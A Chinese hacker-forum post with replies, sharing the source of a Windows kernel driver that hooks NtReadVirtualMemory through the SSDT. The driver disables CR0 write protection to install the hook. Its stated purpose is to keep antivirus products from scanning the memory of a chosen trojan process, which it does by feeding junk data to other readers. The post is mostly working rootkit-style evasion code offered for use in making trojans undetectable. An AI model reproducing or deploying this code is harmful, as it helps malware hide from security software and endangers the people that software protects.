hook NtReadVirtualMemory干擾殺軟掃描

 

 
信息來源:邪惡八進制信息安全團隊(www.eviloctal.com
文章做者:asm(http://www.sbasm.cn)

寫了個對抗掃描的東西,跟你們分享!技術含量不高,大牛飄過。
一直以來寫的都是ring3代碼,如今很認真的拼湊了一份山寨版的驅動代碼,好久沒這麼認真過了。但願哪位大牛能指點一下,指出代碼中可能存在BOSD的隱患。其餘人就跟我一塊兒學習吧~~ 

好久以來,作木馬免殺通常都是文件表面免殺,內存免殺。文件免殺通常的思路是經過修改代碼重,或者文件自身來作到。另外還有一種免殺方式就是隱藏你的木馬,讓殺軟認爲你的木馬是不存在的,天然就達到免殺的效果了。
內存免殺其實不須要用OD來修改,有兩種辦法就能夠,第一,隱藏內存dll木馬的模塊,第二,掛鉤殺軟掃描內存所須要的函數,通常是NtReadVirtualMemory便可到達內存免殺的效果。
隱藏內存模塊,我所知道的有3種辦法,第一,先給dll作一分內存拷貝,接着FreeLibrary釋放原來的dll模塊,再次申請和原來一樣基址的內存,並還原dll便可;第二:摘鏈;第三:就是本文所說的掛鉤NtReadVirtualMemory。有不少辦法能夠掛鉤,這裏我選擇SSDT,呵呵,被人玩爛了的玩意,可是卻也是相對成熟穩定的一種hook的方式,科普一下吧,畢竟仍是有不少人徘徊在門外的 :)
已經盡最大努力去除硬編碼了,下面是部分代碼(完整代碼見壓縮包):
 
 
代碼:
/*

   web: http://www.sbasm.cn/

*/
#include <ntddk.h>
#include "struct.h"

//int pos_CreateFile;     /* 保存這些函數的服務號 */
int pos_ReadVirtualMemory;

UNICODE_STRING uProcessName;
UNICODE_STRING MyuProcessName;
ANSI_STRING aProcessName;

//特殊的值,目標進程的ID
DWORD        dwTargetProcessID;

#define MY_CONTROL_CODE   0x4021
#define IOCTL_SET_TARGET_PROCESS_ID   (ULONG)CTL_CODE( FILE_DEVICE_UNKNOWN, MY_CONTROL_CODE, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA )

//一些常量定義
#define EPROCESS_SIZE           1  
#define PEB_OFFSET              2  
#define FILE_NAME_OFFSET        3  
#define PROCESS_LINK_OFFSET     4  
#define PROCESS_ID_OFFSET       5  
#define EXIT_TIME_OFFSET        6  

DWORD GetPlantformDependentInfo ( DWORD dwFlag )   
{    
        DWORD current_build;    
        DWORD ans = 0;
        
        PsGetVersion(NULL, NULL,&current_build, NULL);    
        switch ( dwFlag )   
        {    
        case EPROCESS_SIZE:    
                if (current_build == 2195) ans = 0 ;        // 2000,當前不支持2000,下同   
                if (current_build == 2600) ans = 0x25C;     // xp   
                if (current_build == 3790) ans = 0x270;     // 2003   
                break;    
        case PEB_OFFSET:    
                if (current_build == 2195)  ans = 0;    
                if (current_build == 2600)  ans = 0x1b0;    
                if (current_build == 3790)  ans = 0x1a0;   
                break;    
        case FILE_NAME_OFFSET:    
                if (current_build == 2195)  ans = 0;    
                if (current_build == 2600)  ans = 0x174;    
                if (current_build == 3790)  ans = 0x164;   
                break;    
        case PROCESS_LINK_OFFSET:    
                if (current_build == 2195)  ans = 0;    
                if (current_build == 2600)  ans = 0x088;    
                if (current_build == 3790)  ans = 0x098;   
                break;    
        case PROCESS_ID_OFFSET:    
                if (current_build == 2195)  ans = 0;    
                if (current_build == 2600)  ans = 0x084;    
                if (current_build == 3790)  ans = 0x094;   
                break;    
        case EXIT_TIME_OFFSET:    
                if (current_build == 2195)  ans = 0;    
                if (current_build == 2600)  ans = 0x078;    
                if (current_build == 3790)  ans = 0x088;   
                break;    
        }    
        return ans;    
}  

/*++

函數名: HookNtReadVirtualMemory

參數:
    IN HANDLE ProcessHandle,
    IN PVOID BaseAddress,
    OUT PVOID Buffer,
    IN ULONG BufferLength,
    OUT PULONG ReturnLength OPTIONAL

功能:
隱藏保護模塊的內存,若是發現有內存掃描到這塊內存,則返回垃圾數據擾亂掃描過程

返回:
NTSTATUS

說明:
                //獲得了進程對象的對象體,也就是進程的eprocess結構,在xp sp3下,eprocess偏移
                //+0x084 就是一個4字節的UniqueProcessId 調用一個GetPlantformDependentInfo便可得到不一樣版本的 UniqueProcessId


--*/

NTSTATUS
HookNtReadVirtualMemory(
                                          IN HANDLE ProcessHandle,
                                          IN PVOID BaseAddress,
                                          OUT PVOID Buffer,
                                          IN ULONG BufferLength,
                                          OUT PULONG ReturnLength OPTIONAL
                                          )
{
        NTSTATUS        ret;
        PVOID                pEprocess;   //經過進程句柄獲得ID
        PVOID                pExplorer_Eprocess;  //過濾掉桌面進程explorer時用到的一個EPROCESS類型臨時變量
        DWORD                dwCurrentPID;  //當前ProcessHandle句柄對應的進程號

        DWORD dwProcessId;
        DWORD dwFileName;
        
        pEprocess = NULL;

        dwProcessId = GetPlantformDependentInfo(PROCESS_ID_OFFSET);    
    dwFileName  = GetPlantformDependentInfo(FILE_NAME_OFFSET);

        ret = ObReferenceObjectByHandle(ProcessHandle , 0, NULL, KernelMode, &pEprocess, NULL);
        if(STATUS_SUCCESS == ret)
        {
                DbgPrint("the caller ProcessName is %s\n",(PUCHAR)((BYTE*)pEprocess + dwFileName));
                dwCurrentPID = *(DWORD*)((BYTE*)pEprocess+dwProcessId);         //獲得被掃描的進程的PID

                if(dwCurrentPID == dwTargetProcessID)   //dwTargetProcessID                 //若是被掃描的進程PID跟預約的同樣,那麼就開始bypass
                {        
                        DbgPrint("call NtReadVirtualMemory!Target Process is %d.  The Caller is %d\n",dwTargetProcessID, PsGetCurrentProcessId());

                        if(dwTargetProcessID == (DWORD)PsGetCurrentProcessId())  //排除本身調用NtReadVirtualMemory來讀取本身內存的狀況
                        {
                                DbgPrint("call NtReadVirtualMemory by myself\n");
                                goto Next;
                        }
                                pExplorer_Eprocess = PsGetCurrentProcess();        //獲得當前進程eprocess結構

                                RtlInitUnicodeString(&uProcessName,L"explorer.exe");
                                RtlInitAnsiString(&aProcessName,(PUCHAR)((BYTE*)pExplorer_Eprocess + dwFileName));
                                RtlAnsiStringToUnicodeString(&MyuProcessName,&aProcessName,TRUE);
                                DbgPrint("call NtReadVirtualMemory by %wZ ---%wZ\n",&MyuProcessName,&uProcessName);

                                if(RtlCompareUnicodeString(&uProcessName,&MyuProcessName, TRUE) == 0)  //不區分大小寫的對比!
                                {
                                        DbgPrint("call NtReadVirtualMemory by explorer process\n"); //排除explorer調用NtReadVirtualMemory來讀取本身內存的狀況
                                        goto Next;
                                }
                                DbgPrint("call NtReadVirtualMemory by other process %d\n",PsGetCurrentProcessId());
                                //排除了本身對本身的內存操做,桌面進程對所關心的進程的操做以外,其餘的一切進程對多關心的進程進行操做,一概pass
                                ret = ((NTREADVIRTUALMEMORY)(OldNtReadVirtualMemory))(
                                        ProcessHandle,
                                        BaseAddress,
                                        L"ffffffffff",      //自定義的垃圾數據
                                        BufferLength,
                                        ReturnLength
                                        );
                                return ret;
                }
        }
Next:
        ret = ((NTREADVIRTUALMEMORY)(OldNtReadVirtualMemory))(
                ProcessHandle,
                BaseAddress,
                Buffer,
                BufferLength,
                ReturnLength
                );
        return ret;
}
/////////////////////////////////////////////////////////////////         --          --     
//+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++//     --     -      -     -- 
//+                                                           +//     --      -   -       -- 
//+          下面2個函數用於獲得部分SDT函數的地址             +//      --       -        --  
//+                                                           +//       -     sudami     -   
//+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++//        --            --    
/////////////////////////////////////////////////////////////////          --        --  
//                                                                           --    --
//                                                                                        --
DWORD GetDllFunctionAddress (
                                           char* lpFunctionName, 
                                           PUNICODE_STRING pDllName
                                           )
                                           /*++

                                           逆向: sudami  08/02/28

                                           參數:
                                           lpFunctionName - 函數名稱
                                           pDllName - 要映射的模塊名稱

                                           功能 : 
                                           把給定的模塊映射到內存,讀取其EAT,獲得Zw系列函數地址,還在R3中,

                                           1.  映射ntdll.dll到內存-->ZwMapViewOfSection.
                                           2.  搜索其EAT, 獲得 ZwXxxx的地址p
                                           3.  p + 1 處即是ntdll.dll 轉入ntoskrnl.exe的服務號. 
                                           4.  NtXxxx 的地址 就能夠經過這個服務號 在KeServiceDescriptorTable中取出
                                           5. 用你的fake函數替換掉便可.

                                           --*/
{
        HANDLE hThread, hSection, hFile, hMod;
        SECTION_IMAGE_INFORMATION sii;
        IMAGE_DOS_HEADER* dosheader;
        IMAGE_OPTIONAL_HEADER* opthdr;
        IMAGE_EXPORT_DIRECTORY* pExportTable;
        DWORD* arrayOfFunctionAddresses;
        DWORD* arrayOfFunctionNames;
        WORD* arrayOfFunctionOrdinals;
        DWORD functionOrdinal;
        DWORD Base, x, functionAddress;
        char* functionName;
        STRING ntFunctionName, ntFunctionNameSearch;
        PVOID BaseAddress = NULL;
        SIZE_T size=0;

        OBJECT_ATTRIBUTES oa = {sizeof oa, 0, pDllName, OBJ_CASE_INSENSITIVE};

        IO_STATUS_BLOCK iosb;

        //_asm int 3;
        ZwOpenFile(&hFile, FILE_EXECUTE | SYNCHRONIZE, &oa, &iosb, FILE_SHARE_READ, FILE_SYNCHRONOUS_IO_NONALERT);

        oa.ObjectName = 0;

        ZwCreateSection(&hSection, SECTION_ALL_ACCESS, &oa, 0,PAGE_EXECUTE, SEC_IMAGE, hFile);

        ZwMapViewOfSection(hSection, NtCurrentProcess(), &BaseAddress, 0, 1000, 0, &size, (SECTION_INHERIT)1, MEM_TOP_DOWN, PAGE_READWRITE);

        ZwClose(hFile);

        hMod = BaseAddress;

        dosheader = (IMAGE_DOS_HEADER *)hMod;

        opthdr =(IMAGE_OPTIONAL_HEADER *) ((BYTE*)hMod+dosheader->e_lfanew+24);

        pExportTable =(IMAGE_EXPORT_DIRECTORY*)((BYTE*) hMod + opthdr->DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT]. VirtualAddress);

        arrayOfFunctionAddresses = (DWORD*)( (BYTE*)hMod + pExportTable->AddressOfFunctions);

        arrayOfFunctionNames = (DWORD*)( (BYTE*)hMod + pExportTable->AddressOfNames);

        arrayOfFunctionOrdinals = (WORD*)( (BYTE*)hMod + pExportTable->AddressOfNameOrdinals);

        Base = pExportTable->Base;

        RtlInitString(&ntFunctionNameSearch, lpFunctionName);

        for(x = 0; x < pExportTable->NumberOfFunctions; x++) {
                functionName = (char*)( (BYTE*)hMod + arrayOfFunctionNames[x]);

                RtlInitString(&ntFunctionName, functionName);

                functionOrdinal = arrayOfFunctionOrdinals[x] + Base - 1; 
                functionAddress = (DWORD)( (BYTE*)hMod + arrayOfFunctionAddresses[functionOrdinal]);
                if (RtlCompareString(&ntFunctionName, &ntFunctionNameSearch, TRUE) == 0) {
                        ZwClose(hSection);
                        return functionAddress;
                }
        }

        ZwClose(hSection);
        return 0;
}

NTSTATUS
DispatchCreate(
        IN PDEVICE_OBJECT                DeviceObject,
        IN PIRP                                        Irp
        )
{
        NTSTATUS status = STATUS_SUCCESS;

    Irp->IoStatus.Information = 0;

        //dprintf("[KsBinSword] IRP_MJ_CREATE\n");

    Irp->IoStatus.Status = status;
    IoCompleteRequest(Irp, IO_NO_INCREMENT);

    return status;
}

NTSTATUS
DispatchClose(
        IN PDEVICE_OBJECT                DeviceObject,
        IN PIRP                                        Irp
        )
{
        NTSTATUS status = STATUS_SUCCESS;
    //DbgBreakPoint();
    Irp->IoStatus.Information = 0;

        //dprintf("[KsBinSword] IRP_MJ_CLOSE\n");

    Irp->IoStatus.Status = status;
    IoCompleteRequest(Irp, IO_NO_INCREMENT);

    return status;
}

NTSTATUS
DispatchDeviceControl(
        IN PDEVICE_OBJECT                DeviceObject,
        IN PIRP                                        irp
        )
{
         PIO_STACK_LOCATION irpStack;
    PVOID              InputBuffer;                //若是用到的話,會指向輸入緩衝區
    PVOID              OutputBuffer;        //同上,輸出緩衝區
    ULONG              IoControlCode;        //控制碼
        DWORD                           dwOutBufferLen;        //輸出緩衝區長度
        DWORD                           dwInBufferLen;        //輸入緩衝區長度

        NTSTATUS           ntstatus;

    ntstatus = irp->IoStatus.Status = STATUS_SUCCESS;
    irp->IoStatus.Information = 0;

    irpStack = IoGetCurrentIrpStackLocation( irp ); //獲得堆棧指針
        //控制碼
    IoControlCode = irpStack->Parameters.DeviceIoControl.IoControlCode;

        //控制碼操做
    switch ( IoControlCode ) 
        {        
                //傳遞目標進程ID給驅動,用戶層給驅動數據
                case IOCTL_SET_TARGET_PROCESS_ID:        //這裏須要用到r3的輸入,即進程ID號
                                //獲得輸入
                                InputBuffer = irp->AssociatedIrp.SystemBuffer;
                                dwInBufferLen = irpStack->Parameters.DeviceIoControl.InputBufferLength;
                                if(dwInBufferLen != sizeof(DWORD))        //輸入的確定是個DWORD
                                {        DbgPrint("IOCTL_SET_TARGET_PROCESS_ID error\n");
                                        break;
                                }
                                dwTargetProcessID = *(PULONG)InputBuffer;  //好了,應該這樣就獲得ID號了
                                break;
                default:        
                        DbgPrint("no such IOCODE\n");
                        irp->IoStatus.Status = STATUS_INVALID_DEVICE_REQUEST;
                        break;
        }

        ntstatus = irp->IoStatus.Status;

    IoCompleteRequest( irp, IO_NO_INCREMENT );

    return ntstatus;
}
// 驅動入口
NTSTATUS DriverEntry( IN PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath )
{
        NTSTATUS ntStatus = STATUS_SUCCESS;
    PDEVICE_OBJECT Device;
    UNICODE_STRING DeviceName, DeviceLink;  //設備名,符號連接名

    DbgPrint("[MyDriver] DriverEntry\n");

    RtlInitUnicodeString(&DeviceName, L"\\Device\\MyDriver");         //初始化設備名
    RtlInitUnicodeString(&DeviceLink, L"\\DosDevices\\MyDriver");  //初始化符號連接名

    /* IoCreateDevice 生成設備對象 */
    ntStatus = IoCreateDevice(DriverObject,         //生成設備的驅動對象
                              0,                    //設備擴展區內存大小
                              &DeviceName,          //設備名,\Device\MyDriver
                              FILE_DEVICE_UNKNOWN,  //設備類型
                              0,                    //填寫0便可
                              FALSE,                //必須爲FALSE
                              &Device);             //設備對象指針返回到DeviceObject中
    if (!NT_SUCCESS(ntStatus))
    {
        DbgPrint("[MyDriver] IoCreateDevice FALSE: %.8X\n", ntStatus);
        return ntStatus;  //生成失敗就返回
    }
    else
        DbgPrint("[MyDriver] IoCreateDevice SUCCESS\n");

    /* IoCreateSymbolicLink 生成符號連接 */
    ntStatus = IoCreateSymbolicLink(&DeviceLink, &DeviceName);
    if (!NT_SUCCESS(ntStatus))
    {
        DbgPrint("[MyDriver] IoCreateSymbolicLink FALSE: %.8X\n", ntStatus);
        IoDeleteDevice(Device);  //刪除設備
        return ntStatus;
    }
    else
        DbgPrint("[MyDriver] IoCreateSymbolicLink SUCCESS\n");

    Device->Flags &= ~DO_DEVICE_INITIALIZING;  //設備初始化完成標記

    DriverObject->MajorFunction[IRP_MJ_CREATE]         = DispatchCreate;
    DriverObject->MajorFunction[IRP_MJ_CLOSE]          = DispatchClose;
    DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DispatchDeviceControl;
    DriverObject->DriverUnload                         = OnUnload;

        Hook();    //SSDT hook
    return ntStatus;
}
// 驅動卸載
VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
{
        UNICODE_STRING dosDeviceName;

        Unhook();

    RtlInitUnicodeString(&dosDeviceName, L"\\DosDevices\\MyDriver");

    IoDeleteSymbolicLink(&dosDeviceName);

        if (DriverObject->DeviceObject != NULL)
    {
        IoDeleteDevice(DriverObject->DeviceObject);  //刪除設備
    }
}

//   此處修改SSDT中的NtCreateFile服務地址
VOID Hook()
{
        UNICODE_STRING dllName;
        DWORD          functionAddress;
        int            position;


        RtlInitUnicodeString( &dllName, L"\\Device\\HarddiskVolume1\\Windows\\System32\\ntdll.dll" );

        //獲取NtReadVirtualMemory的服務號完畢!
        functionAddress = GetDllFunctionAddress("NtReadVirtualMemory", &dllName);
        position        = *((WORD*)( functionAddress + 1 ));
        pos_ReadVirtualMemory  = position;
        //>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

        OldNtReadVirtualMemory = (NTREADVIRTUALMEMORY) (*(((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase + pos_ReadVirtualMemory));  //獲得NtReadVirtualMemory函數的原始地址
        DbgPrint( "Address of Real OldNtReadVirtualMemory: 0x%08X\n", OldNtReadVirtualMemory );


        // 去掉內存保護
        __asm
        {
                cli
                        mov     eax, cr0
                        and     eax, not 10000h
                        mov     cr0, eax
        }

        (NTREADVIRTUALMEMORY) (*(((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase + pos_ReadVirtualMemory)) = HookNtReadVirtualMemory; //SSDT HOOK NtReadVirtualMemory
        DbgPrint(" Address of HookNtReadVirtualMemory: 0x%08X\n", HookNtReadVirtualMemory );

        // 恢復內存保護
        __asm
        {
                mov     eax, cr0
                        or     eax, 10000h
                        mov     cr0, eax
                        sti
        }
}

//////////////////////////////////////////////////////
VOID Unhook()
{
        __asm
        {
                cli
                        mov     eax, cr0
                        and     eax, not 10000h
                        mov     cr0, eax
        }

        // 還原SSDT
        (NTREADVIRTUALMEMORY) (*(((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase + pos_ReadVirtualMemory)) = OldNtReadVirtualMemory;
        __asm
        {
                mov     eax, cr0
                        or     eax, 10000h
                        mov     cr0, eax
                        sti
        }
        DbgPrint("Unhook");
}
PS:已經好久沒像之前那樣有時間寫點小東西跟你們分享了
 
2樓 sudami
很用心,思路簡單明瞭. 

一點兒看法:
殺毒軟件通常是在驅動中attach到指定進程直接讀內存的,不須要調用Nt*系列的科普函數; 
好多軟件是事先保存SSDT的原始地址到全局變量中,再進行調用(eg:微點).
 
3樓 grayfox
比較PID不保險啊,+1 +2 +3就繞過了
相關文章
相關標籤/搜索